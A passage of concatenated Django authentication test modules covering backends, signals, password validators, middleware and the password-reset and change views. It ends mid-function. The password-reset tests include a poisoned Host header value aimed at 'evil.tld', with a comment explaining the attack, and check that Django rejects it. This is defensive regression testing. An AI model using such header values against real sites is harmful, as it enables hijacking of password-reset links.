    def test_changed_backend_settings(self):
        """
        Tests that removing a backend configured in AUTHENTICATION_BACKENDS
        make already logged-in users disconnect.
        """

        # Get a session for the test user
        self.assertTrue(self.client.login(
            username=self.TEST_USERNAME,
            password=self.TEST_PASSWORD)
        )

        # Prepare a request object
        request = HttpRequest()
        request.session = self.client.session

        # Remove NewModelBackend
        with self.settings(AUTHENTICATION_BACKENDS=[
                'django.contrib.auth.backends.ModelBackend']):
            # Get the user from the request
            user = get_user(request)

            # Assert that the user retrieval is successful and the user is
            # anonymous as the backend is not longer available.
            self.assertIsNotNone(user)
            self.assertTrue(user.is_anonymous)


class TypeErrorBackend(object):
    """
    Always raises TypeError.
    """

    def authenticate(self, username=None, password=None):
        raise TypeError


class TypeErrorBackendTest(TestCase):
    """
    Tests that a TypeError within a backend is propagated properly.

    Regression test for ticket #18171
    """
    backend = 'auth_tests.test_auth_backends.TypeErrorBackend'

    def setUp(self):
        self.user1 = User.objects.create_user('test', 'test@example.com', 'test')

    @override_settings(AUTHENTICATION_BACKENDS=[backend])
    def test_type_error_raised(self):
        with self.assertRaises(TypeError):
            authenticate(username='test', password='test')


class ImproperlyConfiguredUserModelTest(TestCase):
    """
    Tests that an exception from within get_user_model is propagated and doesn't
    raise an UnboundLocalError.

    Regression test for ticket #21439
    """
    def setUp(self):
        self.user1 = User.objects.create_user('test', 'test@example.com', 'test')
        self.client.login(
            username='test',
            password='test'
        )

    @override_settings(AUTH_USER_MODEL='thismodel.doesntexist')
    def test_does_not_shadow_exception(self):
        # Prepare a request object
        request = HttpRequest()
        request.session = self.client.session

        with self.assertRaises(ImproperlyConfigured):
            get_user(request)


class ImportedModelBackend(ModelBackend):
    pass


class CustomModelBackend(ModelBackend):
    pass


class OtherModelBackend(ModelBackend):
    pass


class ImportedBackendTests(TestCase):
    """
    #23925 - The backend path added to the session should be the same
    as the one defined in AUTHENTICATION_BACKENDS setting.
    """

    backend = 'auth_tests.backend_alias.ImportedModelBackend'

    @override_settings(AUTHENTICATION_BACKENDS=[backend])
    def test_backend_path(self):
        username = 'username'
        password = 'password'
        User.objects.create_user(username, 'email', password)
        self.assertTrue(self.client.login(username=username, password=password))
        request = HttpRequest()
        request.session = self.client.session
        self.assertEqual(request.session[BACKEND_SESSION_KEY], self.backend)


class SelectingBackendTests(TestCase):
    backend = 'auth_tests.test_auth_backends.CustomModelBackend'
    other_backend = 'auth_tests.test_auth_backends.OtherModelBackend'
    username = 'username'
    password = 'password'

    def assertBackendInSession(self, backend):
        request = HttpRequest()
        request.session = self.client.session
        self.assertEqual(request.session[BACKEND_SESSION_KEY], backend)

    @override_settings(AUTHENTICATION_BACKENDS=[backend])
    def test_backend_path_login_without_authenticate_single_backend(self):
        user = User.objects.create_user(self.username, 'email', self.password)
        self.client._login(user)
        self.assertBackendInSession(self.backend)

    @override_settings(AUTHENTICATION_BACKENDS=[backend, other_backend])
    def test_backend_path_login_without_authenticate_multiple_backends(self):
        user = User.objects.create_user(self.username, 'email', self.password)
        expected_message = (
            'You have multiple authentication backends configured and '
            'therefore must provide the `backend` argument or set the '
            '`backend` attribute on the user.'
        )
        with self.assertRaisesMessage(ValueError, expected_message):
            self.client._login(user)

    @override_settings(AUTHENTICATION_BACKENDS=[backend, other_backend])
    def test_backend_path_login_with_explicit_backends(self):
        user = User.objects.create_user(self.username, 'email', self.password)
        self.client._login(user, self.other_backend)
        self.assertBackendInSession(self.other_backend)


@override_settings(AUTHENTICATION_BACKENDS=['django.contrib.auth.backends.AllowAllUsersModelBackend'])
class AllowAllUsersModelBackendTest(TestCase):
    """
    Inactive users may authenticate with the AllowAllUsersModelBackend.
    """
    user_credentials = {'username': 'test', 'password': 'test'}

    @classmethod
    def setUpTestData(cls):
        cls.user = User.objects.create_user(
            email='test@example.com', is_active=False,
            **cls.user_credentials
        )

    def test_authenticate(self):
        self.assertFalse(self.user.is_active)
        self.assertEqual(authenticate(**self.user_credentials), self.user)

    def test_get_user(self):
        self.client.force_login(self.user)
        request = HttpRequest()
        request.session = self.client.session
        user = get_user(request)
        self.assertEqual(user, self.user)






from django.contrib.auth import signals
from django.contrib.auth.models import User
from django.test import TestCase, override_settings
from django.test.client import RequestFactory


@override_settings(ROOT_URLCONF='auth_tests.urls')
class SignalTestCase(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.u1 = User.objects.create_user(username='testclient', password='password')
        cls.u3 = User.objects.create_user(username='staff', password='password')

    def listener_login(self, user, **kwargs):
        self.logged_in.append(user)

    def listener_logout(self, user, **kwargs):
        self.logged_out.append(user)

    def listener_login_failed(self, sender, credentials, **kwargs):
        self.login_failed.append(credentials)

    def setUp(self):
        """Set up the listeners and reset the logged in/logged out counters"""
        self.logged_in = []
        self.logged_out = []
        self.login_failed = []
        signals.user_logged_in.connect(self.listener_login)
        signals.user_logged_out.connect(self.listener_logout)
        signals.user_login_failed.connect(self.listener_login_failed)

    def tearDown(self):
        """Disconnect the listeners"""
        signals.user_logged_in.disconnect(self.listener_login)
        signals.user_logged_out.disconnect(self.listener_logout)
        signals.user_login_failed.disconnect(self.listener_login_failed)

    def test_login(self):
        # Only a successful login will trigger the success signal.
        self.client.login(username='testclient', password='bad')
        self.assertEqual(len(self.logged_in), 0)
        self.assertEqual(len(self.login_failed), 1)
        self.assertEqual(self.login_failed[0]['username'], 'testclient')
        # verify the password is cleansed
        self.assertIn('***', self.login_failed[0]['password'])

        # Like this:
        self.client.login(username='testclient', password='password')
        self.assertEqual(len(self.logged_in), 1)
        self.assertEqual(self.logged_in[0].username, 'testclient')

        # Ensure there were no more failures.
        self.assertEqual(len(self.login_failed), 1)

    def test_logout_anonymous(self):
        # The log_out function will still trigger the signal for anonymous
        # users.
        self.client.get('/logout/next_page/')
        self.assertEqual(len(self.logged_out), 1)
        self.assertIsNone(self.logged_out[0])

    def test_logout(self):
        self.client.login(username='testclient', password='password')
        self.client.get('/logout/next_page/')
        self.assertEqual(len(self.logged_out), 1)
        self.assertEqual(self.logged_out[0].username, 'testclient')

    def test_update_last_login(self):
        """Ensure that only `last_login` is updated in `update_last_login`"""
        user = self.u3
        old_last_login = user.last_login

        user.username = "This username shouldn't get saved"
        request = RequestFactory().get('/login')
        signals.user_logged_in.send(sender=user.__class__, request=request, user=user)
        user.refresh_from_db()
        self.assertEqual(user.username, 'staff')
        self.assertNotEqual(user.last_login, old_last_login)






"""
Test URLs for auth admins.
"""

from django.conf.urls import url
from django.contrib import admin
from django.contrib.auth.admin import GroupAdmin, UserAdmin
from django.contrib.auth.models import Group, User
from django.contrib.auth.urls import urlpatterns

# Create a silo'd admin site for just the user/group admins.
site = admin.AdminSite(name='auth_test_admin')
site.register(User, UserAdmin)
site.register(Group, GroupAdmin)

urlpatterns += [
    url(r'^admin/', site.urls),
]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import os

from django.contrib.auth import validators
from django.contrib.auth.models import User
from django.contrib.auth.password_validation import (
    CommonPasswordValidator, MinimumLengthValidator, NumericPasswordValidator,
    UserAttributeSimilarityValidator, get_default_password_validators,
    get_password_validators, password_changed,
    password_validators_help_text_html, password_validators_help_texts,
    validate_password,
)
from django.core.exceptions import ValidationError
from django.db import models
from django.test import TestCase, override_settings
from django.test.utils import isolate_apps
from django.utils._os import upath


@override_settings(AUTH_PASSWORD_VALIDATORS=[
    {'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator'},
    {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 'OPTIONS': {
        'min_length': 12,
    }},
])
class PasswordValidationTest(TestCase):
    def test_get_default_password_validators(self):
        validators = get_default_password_validators()
        self.assertEqual(len(validators), 2)
        self.assertEqual(validators[0].__class__.__name__, 'CommonPasswordValidator')
        self.assertEqual(validators[1].__class__.__name__, 'MinimumLengthValidator')
        self.assertEqual(validators[1].min_length, 12)

    def test_get_password_validators_custom(self):
        validator_config = [{'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator'}]
        validators = get_password_validators(validator_config)
        self.assertEqual(len(validators), 1)
        self.assertEqual(validators[0].__class__.__name__, 'CommonPasswordValidator')

        self.assertEqual(get_password_validators([]), [])

    def test_validate_password(self):
        self.assertIsNone(validate_password('sufficiently-long'))
        msg_too_short = 'This password is too short. It must contain at least 12 characters.'

        with self.assertRaises(ValidationError) as cm:
            validate_password('django4242')
        self.assertEqual(cm.exception.messages, [msg_too_short])
        self.assertEqual(cm.exception.error_list[0].code, 'password_too_short')

        with self.assertRaises(ValidationError) as cm:
            validate_password('password')
        self.assertEqual(cm.exception.messages, ['This password is too common.', msg_too_short])
        self.assertEqual(cm.exception.error_list[0].code, 'password_too_common')

        self.assertIsNone(validate_password('password', password_validators=[]))

    def test_password_changed(self):
        self.assertIsNone(password_changed('password'))

    def test_password_validators_help_texts(self):
        help_texts = password_validators_help_texts()
        self.assertEqual(len(help_texts), 2)
        self.assertIn('12 characters', help_texts[1])

        self.assertEqual(password_validators_help_texts(password_validators=[]), [])

    def test_password_validators_help_text_html(self):
        help_text = password_validators_help_text_html()
        self.assertEqual(help_text.count('<li>'), 2)
        self.assertIn('12 characters', help_text)

    @override_settings(AUTH_PASSWORD_VALIDATORS=[])
    def test_empty_password_validator_help_text_html(self):
        self.assertEqual(password_validators_help_text_html(), '')


class MinimumLengthValidatorTest(TestCase):
    def test_validate(self):
        expected_error = "This password is too short. It must contain at least %d characters."
        self.assertIsNone(MinimumLengthValidator().validate('12345678'))
        self.assertIsNone(MinimumLengthValidator(min_length=3).validate('123'))

        with self.assertRaises(ValidationError) as cm:
            MinimumLengthValidator().validate('1234567')
        self.assertEqual(cm.exception.messages, [expected_error % 8])
        self.assertEqual(cm.exception.error_list[0].code, 'password_too_short')

        with self.assertRaises(ValidationError) as cm:
            MinimumLengthValidator(min_length=3).validate('12')
        self.assertEqual(cm.exception.messages, [expected_error % 3])

    def test_help_text(self):
        self.assertEqual(
            MinimumLengthValidator().get_help_text(),
            "Your password must contain at least 8 characters."
        )


class UserAttributeSimilarityValidatorTest(TestCase):
    def test_validate(self):
        user = User.objects.create_user(
            username='testclient', password='password', email='testclient@example.com',
            first_name='Test', last_name='Client',
        )
        expected_error = "The password is too similar to the %s."

        self.assertIsNone(UserAttributeSimilarityValidator().validate('testclient'))

        with self.assertRaises(ValidationError) as cm:
            UserAttributeSimilarityValidator().validate('testclient', user=user),
        self.assertEqual(cm.exception.messages, [expected_error % "username"])
        self.assertEqual(cm.exception.error_list[0].code, 'password_too_similar')

        with self.assertRaises(ValidationError) as cm:
            UserAttributeSimilarityValidator().validate('example.com', user=user),
        self.assertEqual(cm.exception.messages, [expected_error % "email address"])

        with self.assertRaises(ValidationError) as cm:
            UserAttributeSimilarityValidator(
                user_attributes=['first_name'],
                max_similarity=0.3,
            ).validate('testclient', user=user)
        self.assertEqual(cm.exception.messages, [expected_error % "first name"])

        self.assertIsNone(
            UserAttributeSimilarityValidator(user_attributes=['first_name']).validate('testclient', user=user)
        )

    @isolate_apps('auth_tests')
    def test_validate_property(self):
        class TestUser(models.Model):
            pass

            @property
            def username(self):
                return 'foobar'

        with self.assertRaises(ValidationError) as cm:
            UserAttributeSimilarityValidator().validate('foobar', user=TestUser()),
        self.assertEqual(cm.exception.messages, ['The password is too similar to the username.'])

    def test_help_text(self):
        self.assertEqual(
            UserAttributeSimilarityValidator().get_help_text(),
            "Your password can't be too similar to your other personal information."
        )


class CommonPasswordValidatorTest(TestCase):
    def test_validate(self):
        expected_error = "This password is too common."
        self.assertIsNone(CommonPasswordValidator().validate('a-safe-password'))

        with self.assertRaises(ValidationError) as cm:
            CommonPasswordValidator().validate('godzilla')
        self.assertEqual(cm.exception.messages, [expected_error])

    def test_validate_custom_list(self):
        path = os.path.join(os.path.dirname(os.path.realpath(upath(__file__))), 'common-passwords-custom.txt')
        validator = CommonPasswordValidator(password_list_path=path)
        expected_error = "This password is too common."
        self.assertIsNone(validator.validate('a-safe-password'))

        with self.assertRaises(ValidationError) as cm:
            validator.validate('from-my-custom-list')
        self.assertEqual(cm.exception.messages, [expected_error])
        self.assertEqual(cm.exception.error_list[0].code, 'password_too_common')

    def test_help_text(self):
        self.assertEqual(
            CommonPasswordValidator().get_help_text(),
            "Your password can't be a commonly used password."
        )


class NumericPasswordValidatorTest(TestCase):
    def test_validate(self):
        expected_error = "This password is entirely numeric."
        self.assertIsNone(NumericPasswordValidator().validate('a-safe-password'))

        with self.assertRaises(ValidationError) as cm:
            NumericPasswordValidator().validate('42424242')
        self.assertEqual(cm.exception.messages, [expected_error])
        self.assertEqual(cm.exception.error_list[0].code, 'password_entirely_numeric')

    def test_help_text(self):
        self.assertEqual(
            NumericPasswordValidator().get_help_text(),
            "Your password can't be entirely numeric."
        )


class UsernameValidatorsTests(TestCase):
    def test_unicode_validator(self):
        valid_usernames = ['joe', 'René', 'ᴮᴵᴳᴮᴵᴿᴰ', 'أحمد']
        invalid_usernames = [
            "o'connell", "عبد ال",
            "zerowidth\u200Bspace", "nonbreaking\u00A0space",
            "en\u2013dash",
        ]
        v = validators.UnicodeUsernameValidator()
        for valid in valid_usernames:
            v(valid)
        for invalid in invalid_usernames:
            with self.assertRaises(ValidationError):
                v(invalid)

    def test_ascii_validator(self):
        valid_usernames = ['glenn', 'GLEnN', 'jean-marc']
        invalid_usernames = ["o'connell", 'Éric', 'jean marc', "أحمد"]
        v = validators.ASCIIUsernameValidator()
        for valid in valid_usernames:
            v(valid)
        for invalid in invalid_usernames:
            with self.assertRaises(ValidationError):
                v(invalid)






from django.contrib.auth.middleware import AuthenticationMiddleware
from django.contrib.auth.models import User
from django.http import HttpRequest
from django.test import TestCase


class TestAuthenticationMiddleware(TestCase):
    def setUp(self):
        self.user = User.objects.create_user('test_user', 'test@example.com', 'test_password')
        self.middleware = AuthenticationMiddleware()
        self.client.force_login(self.user)
        self.request = HttpRequest()
        self.request.session = self.client.session

    def test_no_password_change_doesnt_invalidate_session(self):
        self.request.session = self.client.session
        self.middleware.process_request(self.request)
        self.assertIsNotNone(self.request.user)
        self.assertFalse(self.request.user.is_anonymous)

    def test_changed_password_invalidates_session(self):
        # After password change, user should be anonymous
        self.user.set_password('new_password')
        self.user.save()
        self.middleware.process_request(self.request)
        self.assertIsNotNone(self.request.user)
        self.assertTrue(self.request.user.is_anonymous)
        # session should be flushed
        self.assertIsNone(self.request.session.session_key)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import itertools
import os
import re
from importlib import import_module

from django.apps import apps
from django.conf import settings
from django.contrib.admin.models import LogEntry
from django.contrib.auth import REDIRECT_FIELD_NAME, SESSION_KEY
from django.contrib.auth.forms import (
    AuthenticationForm, PasswordChangeForm, SetPasswordForm,
)
from django.contrib.auth.models import User
from django.contrib.auth.views import (
    LoginView, logout_then_login, redirect_to_login,
)
from django.contrib.sessions.middleware import SessionMiddleware
from django.contrib.sites.requests import RequestSite
from django.core import mail
from django.db import connection
from django.http import HttpRequest, QueryDict
from django.middleware.csrf import CsrfViewMiddleware, get_token
from django.test import TestCase, override_settings
from django.test.utils import patch_logger
from django.urls import NoReverseMatch, reverse, reverse_lazy
from django.utils.deprecation import RemovedInDjango21Warning
from django.utils.encoding import force_text
from django.utils.http import urlquote
from django.utils.six.moves.urllib.parse import ParseResult, urlparse
from django.utils.translation import LANGUAGE_SESSION_KEY

from .models import CustomUser, UUIDUser
from .settings import AUTH_TEMPLATES


@override_settings(
    LANGUAGES=[('en', 'English')],
    LANGUAGE_CODE='en',
    TEMPLATES=AUTH_TEMPLATES,
    ROOT_URLCONF='auth_tests.urls',
)
class AuthViewsTestCase(TestCase):
    """
    Helper base class for all the follow test cases.
    """

    @classmethod
    def setUpTestData(cls):
        cls.u1 = User.objects.create_user(username='testclient', password='password', email='testclient@example.com')
        cls.u3 = User.objects.create_user(username='staff', password='password', email='staffmember@example.com')

    def login(self, username='testclient', password='password'):
        response = self.client.post('/login/', {
            'username': username,
            'password': password,
        })
        self.assertIn(SESSION_KEY, self.client.session)
        return response

    def logout(self):
        response = self.client.get('/admin/logout/')
        self.assertEqual(response.status_code, 200)
        self.assertNotIn(SESSION_KEY, self.client.session)

    def assertFormError(self, response, error):
        """Assert that error is found in response.context['form'] errors"""
        form_errors = list(itertools.chain(*response.context['form'].errors.values()))
        self.assertIn(force_text(error), form_errors)

    def assertURLEqual(self, url, expected, parse_qs=False):
        """
        Given two URLs, make sure all their components (the ones given by
        urlparse) are equal, only comparing components that are present in both
        URLs.
        If `parse_qs` is True, then the querystrings are parsed with QueryDict.
        This is useful if you don't want the order of parameters to matter.
        Otherwise, the query strings are compared as-is.
        """
        fields = ParseResult._fields

        for attr, x, y in zip(fields, urlparse(url), urlparse(expected)):
            if parse_qs and attr == 'query':
                x, y = QueryDict(x), QueryDict(y)
            if x and y and x != y:
                self.fail("%r != %r (%s doesn't match)" % (url, expected, attr))


@override_settings(ROOT_URLCONF='django.contrib.auth.urls')
class AuthViewNamedURLTests(AuthViewsTestCase):

    def test_named_urls(self):
        "Named URLs should be reversible"
        expected_named_urls = [
            ('login', [], {}),
            ('logout', [], {}),
            ('password_change', [], {}),
            ('password_change_done', [], {}),
            ('password_reset', [], {}),
            ('password_reset_done', [], {}),
            ('password_reset_confirm', [], {
                'uidb64': 'aaaaaaa',
                'token': '1111-aaaaa',
            }),
            ('password_reset_complete', [], {}),
        ]
        for name, args, kwargs in expected_named_urls:
            try:
                reverse(name, args=args, kwargs=kwargs)
            except NoReverseMatch:
                self.fail("Reversal of url named '%s' failed with NoReverseMatch" % name)


class PasswordResetTest(AuthViewsTestCase):

    def test_email_not_found(self):
        """If the provided email is not registered, don't raise any error but
        also don't send any email."""
        response = self.client.get('/password_reset/')
        self.assertEqual(response.status_code, 200)
        response = self.client.post('/password_reset/', {'email': 'not_a_real_email@email.com'})
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 0)

    def test_email_found(self):
        "Email is sent if a valid email address is provided for password reset"
        response = self.client.post('/password_reset/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 1)
        self.assertIn("http://", mail.outbox[0].body)
        self.assertEqual(settings.DEFAULT_FROM_EMAIL, mail.outbox[0].from_email)
        # optional multipart text/html email has been added.  Make sure original,
        # default functionality is 100% the same
        self.assertFalse(mail.outbox[0].message().is_multipart())

    def test_extra_email_context(self):
        """
        extra_email_context should be available in the email template context.
        """
        response = self.client.post(
            '/password_reset_extra_email_context/',
            {'email': 'staffmember@example.com'},
        )
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 1)
        self.assertIn('Email email context: "Hello!"', mail.outbox[0].body)

    def test_html_mail_template(self):
        """
        A multipart email with text/plain and text/html is sent
        if the html_email_template parameter is passed to the view
        """
        response = self.client.post('/password_reset/html_email_template/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 1)
        message = mail.outbox[0].message()
        self.assertEqual(len(message.get_payload()), 2)
        self.assertTrue(message.is_multipart())
        self.assertEqual(message.get_payload(0).get_content_type(), 'text/plain')
        self.assertEqual(message.get_payload(1).get_content_type(), 'text/html')
        self.assertNotIn('<html>', message.get_payload(0).get_payload())
        self.assertIn('<html>', message.get_payload(1).get_payload())

    def test_email_found_custom_from(self):
        "Email is sent if a valid email address is provided for password reset when a custom from_email is provided."
        response = self.client.post('/password_reset_from_email/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual("staffmember@example.com", mail.outbox[0].from_email)

    # Skip any 500 handler action (like sending more mail...)
    @override_settings(DEBUG_PROPAGATE_EXCEPTIONS=True)
    def test_poisoned_http_host(self):
        "Poisoned HTTP_HOST headers can't be used for reset emails"
        # This attack is based on the way browsers handle URLs. The colon
        # should be used to separate the port, but if the URL contains an @,
        # the colon is interpreted as part of a username for login purposes,
        # making 'evil.com' the request domain. Since HTTP_HOST is used to
        # produce a meaningful reset URL, we need to be certain that the
        # HTTP_HOST header isn't poisoned. This is done as a check when get_host()
        # is invoked, but we check here as a practical consequence.
        with patch_logger('django.security.DisallowedHost', 'error') as logger_calls:
            response = self.client.post(
                '/password_reset/',
                {'email': 'staffmember@example.com'},
                HTTP_HOST='www.example:dr.frankenstein@evil.tld'
            )
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(mail.outbox), 0)
            self.assertEqual(len(logger_calls), 1)

    # Skip any 500 handler action (like sending more mail...)
    @override_settings(DEBUG_PROPAGATE_EXCEPTIONS=True)
    def test_poisoned_http_host_admin_site(self):
        "Poisoned HTTP_HOST headers can't be used for reset emails on admin views"
        with patch_logger('django.security.DisallowedHost', 'error') as logger_calls:
            response = self.client.post(
                '/admin_password_reset/',
                {'email': 'staffmember@example.com'},
                HTTP_HOST='www.example:dr.frankenstein@evil.tld'
            )
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(mail.outbox), 0)
            self.assertEqual(len(logger_calls), 1)

    def _test_confirm_start(self):
        # Start by creating the email
        self.client.post('/password_reset/', {'email': 'staffmember@example.com'})
        self.assertEqual(len(mail.outbox), 1)
        return self._read_signup_email(mail.outbox[0])

    def _read_signup_email(self, email):
        urlmatch = re.search(r"https?://[^/]*(/.*reset/\S*)", email.body)
        self.assertIsNotNone(urlmatch, "No URL found in sent email")
        return urlmatch.group(), urlmatch.groups()[0]

    def test_confirm_valid(self):
        url, path = self._test_confirm_start()
        response = self.client.get(path)
        # redirect to a 'complete' page:
        self.assertContains(response, "Please enter your new password")

    def test_confirm_invalid(self):
        url, path = self._test_confirm_start()
        # Let's munge the token in the path, but keep the same length,
        # in case the URLconf will reject a different length.
        path = path[:-5] + ("0" * 4) + path[-1]

        response = self.client.get(path)
        self.assertContains(response, "The password reset link was invalid")

    def test_confirm_invalid_user(self):
        # Ensure that we get a 200 response for a non-existent user, not a 404
        response = self.client.get('/reset/123456/1-1/')
        self.assertContains(response, "The password reset link was invalid")

    def test_confirm_overflow_user(self):
        # Ensure that we get a 200 response for a base36 user id that overflows int
        response = self.client.get('/reset/zzzzzzzzzzzzz/1-1/')
        self.assertContains(response, "The password reset link was invalid")

    def test_confirm_invalid_post(self):
        # Same as test_confirm_invalid, but trying
        # to do a POST instead.
        url, path = self._test_confirm_start()
        path = path[:-5] + ("0" * 4) + path[-1]

        self.client.post(path, {
            'new_password1': 'anewpassword',
            'new_password2': ' anewpassword',
        })
        # Check the password has not been changed
        u = User.objects.get(email='staffmember@example.com')
        self.assertTrue(not u.check_password("anewpassword"))

    def test_confirm_complete(self):
        url, path = self._test_confirm_start()
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'anewpassword'})
        # Check the password has been changed
        u = User.objects.get(email='staffmember@example.com')
        self.assertTrue(u.check_password("anewpassword"))

        # Check we can't use the link again
        response = self.client.get(path)
        self.assertContains(response, "The password reset link was invalid")

    def test_confirm_different_passwords(self):
        url, path = self._test_confirm_start()
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'x'})
        self.assertFormError(response, SetPasswordForm.error_messages['password_mismatch'])

    def test_reset_redirect_default(self):
        response = self.client.post('/password_reset/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_reset/done/')

    def test_reset_custom_redirect(self):
        response = self.client.post('/password_reset/custom_redirect/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/custom/')

    def test_reset_custom_redirect_named(self):
        response = self.client.post('/password_reset/custom_redirect/named/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_reset/')

    def test_confirm_redirect_default(self):
        url, path = self._test_confirm_start()
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'anewpassword'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/reset/done/')

    def test_confirm_redirect_custom(self):
        url, path = self._test_confirm_start()
        path = path.replace('/reset/', '/reset/custom/')
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'anewpassword'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/custom/')

    def test_confirm_redirect_custom_named(self):
        url, path = self._test_confirm_start()
        path = path.replace('/reset/', '/reset/custom/named/')
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'anewpassword'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_reset/')

    def test_confirm_login_post_reset(self):
        url, path = self._test_confirm_start()
        path = path.replace('/reset/', '/reset/post_reset_login/')
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'anewpassword'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/reset/done/')
        self.assertIn(SESSION_KEY, self.client.session)

    def test_confirm_display_user_from_form(self):
        url, path = self._test_confirm_start()
        response = self.client.get(path)

        # #16919 -- The ``password_reset_confirm`` view should pass the user
        # object to the ``SetPasswordForm``, even on GET requests.
        # For this test, we render ``{{ form.user }}`` in the template
        # ``registration/password_reset_confirm.html`` so that we can test this.
        username = User.objects.get(email='staffmember@example.com').username
        self.assertContains(response, "Hello, %s." % username)

        # However, the view should NOT pass any user object on a form if the
        # password reset link was invalid.
        response = self.client.get('/reset/zzzzzzzzzzzzz/1-1/')
        self.assertContains(response, "Hello, .")


@override_settings(AUTH_USER_MODEL='auth_tests.CustomUser')
class CustomUserPasswordResetTest(AuthViewsTestCase):
    user_email = 'staffmember@example.com'

    @classmethod
    def setUpTestData(cls):
        cls.u1 = CustomUser.custom_objects.create(
            email='staffmember@example.com',
            date_of_birth=datetime.date(1976, 11, 8),
        )
        cls.u1.set_password('password')
        cls.u1.save()

    def _test_confirm_start(self):
        # Start by creating the email
        response = self.client.post('/password_reset/', {'email': self.user_email})
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 1)
        return self._read_signup_email(mail.outbox[0])

    def _read_signup_email(self, email):
        urlmatch = re.search(r"https?://[^/]*(/.*reset/\S*)", email.body)
        self.assertIsNotNone(urlmatch, "No URL found in sent email")
        return urlmatch.group(), urlmatch.groups()[0]

    def test_confirm_valid_custom_user(self):
        url, path = self._test_confirm_start()
        response = self.client.get(path)
        # redirect to a 'complete' page:
        self.assertContains(response, "Please enter your new password")
        # then submit a new password
        response = self.client.post(path, {
            'new_password1': 'anewpassword',
            'new_password2': 'anewpassword',
        })
        self.assertRedirects(response, '/reset/done/')


@override_settings(AUTH_USER_MODEL='auth_tests.UUIDUser')
class UUIDUserPasswordResetTest(CustomUserPasswordResetTest):

    def _test_confirm_start(self):
        # instead of fixture
        UUIDUser.objects.create_user(
            email=self.user_email,
            username='foo',
            password='foo',
        )
        return super(UUIDUserPasswordResetTest, self)._test_confirm_start()


class ChangePasswordTest(AuthViewsTestCase):

    def fail_login(self):
        response = self.client.post('/login/', {
            'username': 'testclient',
            'password': 'password',
        })
        self.assertFormError(response, AuthenticationForm.error_messages['invalid_login'] % {
            'username': User._meta.get_field('username').verbose_name
        })

    def logout(self):
        self.client.get('/logout/')

    def test_password_change_fails_with_invalid_old_password(self):
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'donuts',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.assertFormError(response, PasswordChangeForm.error_messages['password_incorrect'])

    def test_password_change_fails_with_mismatched_passwords(self):
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'donuts',
        })
        self.assertFormError(response, SetPasswordForm.error_messages['password_mismatch'])

    def test_password_change_succeeds(self):
        self.login()
        self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.fail_login()
        self.login(password='password1')

    def test_password_change_done_succeeds(self):
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_change/done/')

    @override_settings(LOGIN_URL='/login/')
    def test_password_change_done_fails(self):
        response = self.client.get('/password_change/done/')
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/login/?next=/password_change/done/')

    def test_password_change_redirect_default(self):
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_change/done/')

    def test_password_change_redirect_custom(self):
        self.login()
        response = self.client.post('/password_change/custom/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/custom/')

    def test_password_change_redirect_custom_named(self):
        self.login()
        response = self.client.post('/password_change/custom/named/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_reset/')


class SessionAuthenticationTests(AuthViewsTestCase):
    def test_user_password_change_updates_session(self):
        """
        #21649 - Ensure contrib.auth.views.password_change updates the user's
        session auth hash after a password change so the session isn't logged out.
        """
        self.login()
        original_session_key = self.client.session.session_key
        response = self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        # if the hash isn't updated, retrieving the redirection page will fail.
        self.assertRedirects(response, '/password_change/done/')
        # The session key is rotated.
        self.assertNotEqual(original_session_key, self.client.session.session_key)


class LoginTest(AuthViewsTestCase):

    def test_current_site_in_context_after_login(self):
        response = self.client.get(reverse('login'))
        self.assertEqual(response.status_code, 200)
        if apps.is_installed('django.contrib.sites'):
